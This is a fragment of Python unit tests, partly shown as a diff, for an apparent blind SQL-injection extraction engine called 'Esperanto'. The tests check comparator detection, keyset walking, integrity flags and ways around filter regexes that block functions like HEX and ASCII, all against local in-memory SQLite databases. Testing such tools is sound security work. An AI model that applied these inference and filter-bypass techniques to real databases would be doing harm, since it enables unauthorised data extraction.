self.assertEqual(r.value, u"café-€", "hex escalation failed to recover _REPL value: %r" % r.value)
no_hex = Esperanto(make(True)); no_hex.discover()
r2 = no_hex.extractResult("(SELECT v FROM t)")
self.assertFalse(r2.complete, "no-hex _REPL value must stay incomplete, got complete: %r" % r2.value)
def test_keyset_cycle_detection(self):
# Round 8 (keyset): paging and read-back can resolve under different collations, so the
# walk can revisit an earlier name (f,e,f,e...). Full cycle detection (not just the
# immediate predecessor) must stop with a partial, de-duplicated list, never loop.
esp = Esperanto(lambda c: True) # _keysetWalk only, no discovery
seq = iter(["f", "e", "f", "e", "f"])
class _R(object):
def __init__(self, v):
self.value, self.complete, self.exact, self.is_null = v, True, True, False
esp.extractResult = lambda *a, **k: _R(next(seq))
esp._ask = lambda c: True
esp._beyondSql = lambda *a, **k: "1=1"
names = esp._keysetWalk("name", "cat", "", 10)
self.assertEqual(names, ["f", "e"], "cycle not detected/deduped: %r" % names)
def test_terminal_sanitized(self):
from extra.esperanto.__main__ import _safeterm
self.assertEqual(_safeterm(u"ok"), u"ok")
self.assertEqual(_safeterm(u"a\x1b[2Jb"), u"a\\x1b[2Jb") # ANSI clear-screen neutralized
self.assertEqual(_safeterm(u"x\ny"), u"x\\x0ay") # embedded newline neutralized
def test_comparator_rejects_gte_rewrite(self):
# a '>' -> '>=' rewrite passes 2>1 / !2>3 but FAILS the equality boundary (2>2 must be
# False). the full truth table must reject 'gt' (and fall to BETWEEN) so counts/lengths
# aren't read off-by-one. reproduced: extractInteger('5',max=10) used to return 6.
con = sqlite3.connect(":memory:")
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond.replace(">", ">=")).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertNotEqual(esp._comparator, "gt", "'>'->'>=' rewrite wrongly accepted as gt")
self.assertEqual(esp.extractInteger("(5)", maximum=10), 5)
def test_exact_requires_byte_witness(self):
# without a proven hex/binary witness (or code-codepoint), a value is WHOLE_BUT_AMBIGUOUS,
# never EXACT - plain '=' is collation-dependent and can't certify byte-exactness.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('Zz')")
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB|BINARY")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
r = esp.extractResult("(SELECT v FROM t)")
if esp._byteFaithful():
self.skipTest("dialect still has a byte-faithful primitive")
self.assertEqual(r.value, "Zz")
self.assertFalse(r.exact, "value marked exact without a byte-faithful witness: %r" % r)
def test_extractresult_no_contradiction(self):
# a hard defect (incomplete/truncated) is classified before null-exactness
from extra.esperanto import ExtractResult, Integrity
self.assertEqual(ExtractResult(None, is_null=True, complete=False).integrity, Integrity.FAILED)
self.assertEqual(ExtractResult(None, is_null=True, complete=True).integrity, Integrity.EXACT)
self.assertFalse(ExtractResult(None, is_null=True, complete=False).exact)
def test_host_maxlen_zero(self):
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('abcdef')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
r = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)", maxlen=0)
self.assertEqual(r.value, "")
self.assertTrue(r.truncated and not r.complete)
def test_between_overflow_magnitude(self):
# a positive value beyond BETWEEN's global ceiling fails closed WITHOUT claiming "below
# minimum" (the direction is genuinely unknown to a bounded range predicate)
esp = Esperanto(_oracle())
esp.discover()
esp._comparator = "between"
try:
esp.extractInteger("(%d)" % ((1 << 62) + 5))
self.fail("expected OverflowError")
except OverflowError as ex:
self.assertNotIn("below minimum", str(ex))
def test_integrity_semantics(self):
# `complete` (walk finished) must be distinct from `exact` (bytes proven identical).
# a case-insensitive collation recovers a WHOLE value that is NOT exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('A')")
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s COLLATE NOCASE) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
self.assertEqual(esp.dialect.compare, "equality-ci")
r = esp.extractResult(EXPR.replace("v FROM t", "v FROM t"))
self.assertTrue(r.complete, "case-ci value should be WHOLE: %r" % r)
self.assertFalse(r.exact, "case-ci value must NOT be exact: %r" % r)
self.assertEqual(r.integrity, Integrity.WHOLE_BUT_AMBIGUOUS)
def test_hostextract_structured_and_tristate(self):
# hostExtract returns an ExtractResult: a bounded read is TRUNCATED (not a bare string),
# and an undecided (None) host observation degrades to a FAILED result, never a fake bit.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('abcdef')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
strat = esp.strategy()
r = hostExtract(ask, strat, "(SELECT v FROM t)", maxlen=3)
self.assertEqual(r.value, "abc")
self.assertTrue(r.truncated and not r.exact and r.integrity == Integrity.TRUNCATED)
undecided = hostExtract(lambda c: None, strat, "(SELECT v FROM t)")
self.assertTrue(undecided.value is None and not undecided.complete)
def test_between_overflow_direction(self):
# a positive value above the cap in BETWEEN mode must report ABOVE maximum (not below)
esp = Esperanto(_oracle())
esp.discover()
esp._comparator = "between"
try:
esp.extractInteger("(100)", maximum=10)
self.fail("expected OverflowError")
except OverflowError as ex:
self.assertIn("exceeds maximum", str(ex))
def test_key_uniqueness_gate(self):
# #2: a keyset ordering column MUST be single-column unique + non-NULL. a composite
# key's first column repeats -> `> prev` paging silently drops rows sharing it, so it
# must be REJECTED (COUNT(*) != COUNT(DISTINCT col)); only a unique column is accepted.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE k (a INT, b INT, u INT, nul INT)")
con.executemany("INSERT INTO k VALUES (?,?,?,?)", [(1, 1, 10, 1), (1, 2, 20, None), (2, 1, 30, 3)])
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
esp = Esperanto(ask)
esp.discover()
self.assertFalse(esp._keyIsUnique("a", "k"), "non-unique composite-first column accepted")
self.assertFalse(esp._keyIsUnique("nul", "k"), "nullable column accepted as key")
self.assertTrue(esp._keyIsUnique("u", "k"), "unique non-null column rejected")
def test_fixup_length(self):
# a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1
esp = Esperanto(_oracle(u"x"))
@ -354,7 +780,9 @@ class TestEsperanto(unittest.TestCase):
esp.discover()
strat = esp.strategy()
self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x")
self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!")
hr = hostExtract(ask, strat, "(SELECT v FROM k)")
self.assertEqual(hr.value, "Str4t3gy!")
self.assertTrue(hr.exact)
self.assertTrue(strat.asQueriesRow()["substring"])
def test_pattern_match_fallback(self):